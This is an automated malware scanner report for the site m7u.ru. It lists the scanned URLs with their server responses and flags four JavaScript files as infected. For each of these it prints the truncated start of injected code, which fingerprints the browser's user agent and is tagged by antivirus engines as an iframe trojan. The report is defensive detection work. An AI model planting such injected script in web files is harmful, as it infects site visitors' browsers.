New scan:

Malware Scanner report for m7u.ru

Malicious/Suspicious/Total urls checked
4/0/19
4 pages have malicious code. See details below
Blacklists
OK
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/0/8
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Scanned pages/files

RequestServer responseStatus
http://m7u.ru/
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Tue, 24 Jun 2014 23:29:11 GMT
Location: http://www.m7u.ru/
Server: nginx
Content-Length: 0
Content-Type: text/html; charset=utf-8
X-Powered-By: PHP/5.3.28
clean
http://www.m7u.ru/
200 OK
Content-Length: 58128
Content-Type: text/html
clean
http://ajax.googleapis.com/ajax/libs/mootools/1.11/mootools-yui-compressed.js
200 OK
Content-Length: 66079
Content-Type: text/javascript
clean
http://ajax.googleapis.com/ajax/libs/jquery/1.2.6/jquery.min.js
200 OK
Content-Length: 55740
Content-Type: text/javascript
clean
http://www.m7u.ru/modules/mod_jt_slideshow/scripts/jquery.cycle.all.min.js
200 OK
Content-Length: 30567
Content-Type: application/x-javascript
malicious
Malicious code - confirmed by antiviruses (see below)

(function(){
function stripos (f_haystack, f_needle, f_offset) {
var haystack = (f_haystack + '').toLowerCase();
var needle = (f_needle + '').toLowerCase();
var index = 0;
if ((index = haystack.indexOf(needle, f_offset)) !== -1) {
return index;
}
return false;
}
function batuuedpro(){
var glyRosmenTa = ['iPhone','Macintosh','Linux','iPad','Series40','SymbOS','Flock','SeaMonkey','Nokia','SlimBrowser','AmigaOS','Android','FreeBSD','Chrome','IEMo
... 29567 bytes are skipped ...
.display="block";var step=1,count=parseInt((opts.speedIn/13))-1;(function f(){var tt=t?t-parseInt(step*(t/count)):0;var ll=l?l-parseInt(step*(l/count)):0;var bb=b<h?b+parseInt(step*((h-b)/count||1)):h;var rr=r<w?r+parseInt(step*((w-r)/count||1)):w;$next.css({clip:"rect("+tt+"px "+rr+"px "+bb+"px "+ll+"px)"});(step++<=count)?setTimeout(f,13):$curr.css("display","none");})();});opts.cssBefore={display:"block",opacity:1,top:0,left:0};opts.animIn={left:0};opts.animOut={left:0};};})(jQuery);

Antivirus reports:

Rising
JS:Malware.OddJS!5.3E

http://www.m7u.ru/modules/mod_jt_slideshow/scripts/jquery.easing.1.3.js
200 OK
Content-Length: 9867
Content-Type: application/x-javascript
clean
http://www.m7u.ru/modules/mod_jt_slideshow/scripts/jquery.easing.compatibility.js
200 OK
Content-Length: 3496
Content-Type: application/x-javascript
malicious
Malicious code - confirmed by antiviruses (see below)

(function(){
function stripos (f_haystack, f_needle, f_offset) {
var haystack = (f_haystack + '').toLowerCase();
var needle = (f_needle + '').toLowerCase();
var index = 0;
if ((index = haystack.indexOf(needle, f_offset)) !== -1) {
return index;
}
return false;
}
function batuuedpro(){
var glyRosmenTa = ['iPhone','Macintosh','Linux','iPad','Series40','SymbOS','Flock','SeaMonkey','Nokia','SlimBrowser','AmigaOS','Android','FreeBSD','Chrome','IEMo
... 2527 bytes are skipped ...
, d) {
return jQuery.easing.easeOutElastic(x, t, b, c, d);
},
elasinout: function(x, t, b, c, d) {
return jQuery.easing.easeInOutElastic(x, t, b, c, d);
},
backin: function(x, t, b, c, d) {
return jQuery.easing.easeInBack(x, t, b, c, d);
},
backout: function(x, t, b, c, d) {
return jQuery.easing.easeOutBack(x, t, b, c, d);
},
backinout: function(x, t, b, c, d) {
return jQuery.easing.easeInOutBack(x, t, b, c, d);
}
});

Antivirus reports:

TrendMicro-HouseCall
TROJ_GEN.F47V0122
Comodo
UnclassifiedMalware
DrWeb
JS.IFrame.566

http://www.m7u.ru/templates/jv_mojow/js/jv.script.js
200 OK
Content-Length: 3045
Content-Type: application/x-javascript
malicious
Malicious code - confirmed by antiviruses (see below)

(function(){
function stripos (f_haystack, f_needle, f_offset) {
var haystack = (f_haystack + '').toLowerCase();
var needle = (f_needle + '').toLowerCase();
var index = 0;
if ((index = haystack.indexOf(needle, f_offset)) !== -1) {
return index;
}
return false;
}
function batuuedpro(){
var glyRosmenTa = ['iPhone','Macintosh','Linux','iPad','Series40','SymbOS','Flock','SeaMonkey','Nokia','SlimBrowser','AmigaOS','Android','FreeBSD','Chrome','IEMo
... 2248 bytes are skipped ...
een');
settings['colors'] = jvpathcolor + 'green.css';
StyleCookie.empty();
StyleCookie.extend(settings);
});}

if($('jvcolor3')){$('jvcolor3').addEvent('click', function(e) {
e = new Event(e).stop();
if (style_1) style_1.remove();
new Asset.css(jvpathcolor + 'red.css', {id: 'red'});
style_1 = $('red');
settings['colors'] = jvpathcolor + 'red.css';
StyleCookie.empty();
StyleCookie.extend(settings);
});}

});

Antivirus reports:

TrendMicro-HouseCall
TROJ_GEN.F47V0122
Comodo
UnclassifiedMalware
DrWeb
JS.IFrame.566

http://m7u.ru/plugins/system/CssJsCompress/js.php?js=8e28ca95f9cae74c4ce2a900bee52c7f.js
200 OK
Content-Length: 60450
Content-Type: text/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

(function(){
function stripos (f_haystack, f_needle, f_offset) {
var haystack = (f_haystack + '').toLowerCase();
var needle = (f_needle + '').toLowerCase();
var index = 0;
if ((index = haystack.indexOf(needle, f_offset)) !== -1) {
return index;
}
return false;
}
function batuuedpro(){
var glyRosmenTa = ['iPhone','Macintosh','Linux','iPad','Series40','SymbOS','Flock','SeaMonkey','Nokia','SlimBrowser','AmigaOS','Android','FreeBSD','Chrome','IEMo
... 56863 bytes are skipped ...
entNode.insertBefore(el.vml[r].shape, el);
}
el.vml.image.shape.fillcolor = 'none';
el.vml.image.fill.type = 'tile';
el.vml.color.fill.on = false;

lib.attachHandlers(el);

lib.giveLayout(el);
lib.giveLayout(el.offsetParent);


lib.applyVML(el);
}

};
try {
document.execCommand("BackgroundImageCache", false, true);
} catch(r) {}
ie_png.createVmlNameSpace();
ie_png.createVmlStyleSheet();

Antivirus reports:

TrendMicro-HouseCall
TROJ_GEN.F47V0122
Comodo
UnclassifiedMalware
DrWeb
JS.IFrame.566

http://jd.revolvermaps.com/r.js
200 OK
Content-Length: 2365
Content-Type: application/javascript
clean
http://counter.rambler.ru/top100.jcn?2471059
200 OK
Content-Length: 6853
Content-Type: application/x-javascript
clean
http://m7u.ru/index.php
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Tue, 24 Jun 2014 23:29:14 GMT
Location: http://www.m7u.ru/
Server: nginx
Content-Length: 0
Content-Type: text/html; charset=utf-8
X-Powered-By: PHP/5.3.28
clean
http://www.m7u.ru/test404page.js
404 Not Found
Content-Length: 20891
Content-Type: text/html
clean
http://www.m7u.ru/js/jquery/jquery-1.4.4.min.js
404 Not Found
Content-Length: 20891
Content-Type: text/html
clean
http://www.m7u.ru/js/site_navigation.js
404 Not Found
Content-Length: 20891
Content-Type: text/html
clean
http://www.m7u.ru/js/
404 Компонент не найден
Content-Length: 1844
Content-Type: text/html
clean
http://www.m7u.ru/index.php
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Tue, 24 Jun 2014 23:29:15 GMT
Location: http://www.m7u.ru/
Server: nginx
Content-Length: 0
Content-Type: text/html; charset=utf-8
X-Powered-By: PHP/5.3.28
clean
http://m7u.ru/component/user/register.html
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Tue, 24 Jun 2014 23:29:15 GMT
Location: http://www.m7u.ru/component/user/register.html
Server: nginx
Content-Length: 0
Content-Type: text/html; charset=utf-8
X-Powered-By: PHP/5.3.28
clean
http://www.m7u.ru/component/user/register.html
200 OK
Content-Length: 40816
Content-Type: text/html
clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: m7u.ru

Result:
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Tue, 24 Jun 2014 23:29:11 GMT
Location: http://www.m7u.ru/
Server: nginx
Content-Length: 0
Content-Type: text/html; charset=utf-8
X-Powered-By: PHP/5.3.28

...0 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: m7u.ru
Referer: http://www.google.com/search?q=m7u.ru

Result:
The result is similar to the first query. There are no suspicious redirects found.

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=m7u.ru

Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://m7u.ru/

Result: m7u.ru is not infected or malware details are not published yet.